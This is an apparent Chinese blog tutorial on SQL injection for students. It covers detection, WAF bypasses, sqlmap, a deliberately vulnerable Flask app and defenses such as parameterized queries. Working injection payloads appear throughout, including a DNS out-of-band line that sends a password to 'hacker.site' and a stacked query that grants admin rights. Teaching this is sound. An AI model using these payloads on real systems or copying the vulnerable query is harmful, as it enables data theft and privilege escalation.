第6章 第46-50课
SQL注入漏洞原理及危害
SQL注入就像黑客在数据库里「自助点餐」——通过输入恶意SQL语句,让后端数据库执行非法操作。举个例子,咱们学校图书馆查询系统的登录框:
-- 正常查询
SELECT * FROM users WHERE username='学号' AND password='密码';
-- 注入攻击(输入用户名:admin' -- )
SELECT * FROM users WHERE username='admin' -- ' AND password='任意值';
-- 注释掉密码验证,直接登录管理员账号
危害直击现实:
- 敏感信息泄露:比如爬取全校学生身份证号(
UNION SELECT id_card FROM students) - 网页篡改:在校园新闻页面插入小广告(
UPDATE news SET content='赌场链接' WHERE id=1) - 删库跑路:实习时误删公司测试环境(
DROP TABLE salary_records)
SQL注入实战检测方法
我用DVWA靶场带你们体验五种基础检测手法(代码基于MySQL):
1. 显错注入(爆库名)
-- 输入:' AND 1=convert(int,@@version) --
-- 错误回显:Conversion failed when converting '5.7.39' to int
-- 直接泄露数据库版本
2. 布尔盲注(猜表名)
-- 输入:' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name LIKE 'user%')>0 --
-- 页面正常说明存在user开头的表(比如users)
3. 联合查询(拖数据)
-- 输入:' UNION SELECT username,password FROM users --
-- 直接输出账号密码到页面(别试校选课系统啊喂!)
4. 延时注入(无回显探测)
-- 输入:' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) --
-- 首位ASCII>100则页面延迟3秒,类似「听心跳猜密码」
5. 带外注入(DNS外带数据)
-- 输入:' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.hacker.site\\test')) --
-- 密码会通过DNS请求发送到黑客服务器(像用快递偷运数据)
SQL注入漏洞绕过与实战
真实网站都有WAF(Web防火墙),得学会「变形术」:
宽字节注入(治严谨编码)
当PHP用mysql_real_escape_string转义单引号时:
-- 输入:%bf%27 OR 1=1 --
-- %bf和转义符\ (%5c) 组合成「縗」(宽字符),吃掉反斜杠使引号逃逸
堆叠注入(一键连招)
支持多语句执行时(如PHP的mysqli_multi_query):
-- 输入:'; UPDATE users SET is_admin=1 WHERE user='201914146' --
-- 直接给自己加管理员权限(数据库版「点石成金」)
课堂案例:某二手书交易平台漏洞
-- 原URL:/book?id=114
-- 攻击:/book?id=114; CREATE TABLE hack(data TEXT) --
-- 结果:数据库凭空多出hack表(管理员当场血压飙升)
SQL注入实战与防御
手工注入 vs SQLmap自动化
手工注入适合复杂过滤场景(比如用/**/代替空格):
SELECT/**/password/**/FROM/**/users
而SQLmap则是「开挂神器」,一条命令扫全校:
sqlmap -u "http://lab.shu.edu.cn/search.php?id=1" --batch --dbs
防御三件套(实习必用)
- 参数化查询(Java示例)
String sql = "SELECT * FROM users WHERE sid = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, request.getParameter("id")); // 输入直接当数据处理
-
最小化权限:数据库账号只给SELECT权限(禁用DROP/EXECUTE)
-
WAF规则:过滤
union|sleep|benchmark等关键词(正则:\b(union\W+select)\b)
SQL注入详解与Kali实战
在Kali Linux用MySQL复现全流程:
环境搭建
sudo apt install mysql-server
mysql -u root -p
CREATE DATABASE ctf;
USE ctf;
CREATE TABLE students(sid VARCHAR(10), name VARCHAR(20));
INSERT INTO students VALUES('202013141','小王'),('202099999','管理员');
联合注入攻击
# 启动漏洞服务(Python脚本)
import sqlite3
from flask import Flask
app = Flask(__name__)
@app.route('/user/<id>')
def user(id):
conn = sqlite3.connect('ctf.db')
cursor = conn.cursor()
cursor.execute(f"SELECT * FROM students WHERE sid='{id}'")# 漏洞点!
return cursor.fetchall()
# 攻击请求(Kali终端)
curl http://localhost:5000/user/'%20UNION%20SELECT%201,version()--'
# 输出:[('202013141', '小王'), (1, '10.3.27-MariaDB')]→ 数据库版本泄露!
总结
SQL注入本质是「把输入当代码执行」,防御核心就一句:别拼接SQL! 下次写课设遇到登录功能,记得用PreparedStatement(Java)或cursor.execute("SELECT %s", (name,)(Python)。挖洞千万条,守法第一条,测试务必用授权靶场(DVWA/sqli-labs)哦! ( •̀ ω •́ )✧
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19024339,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号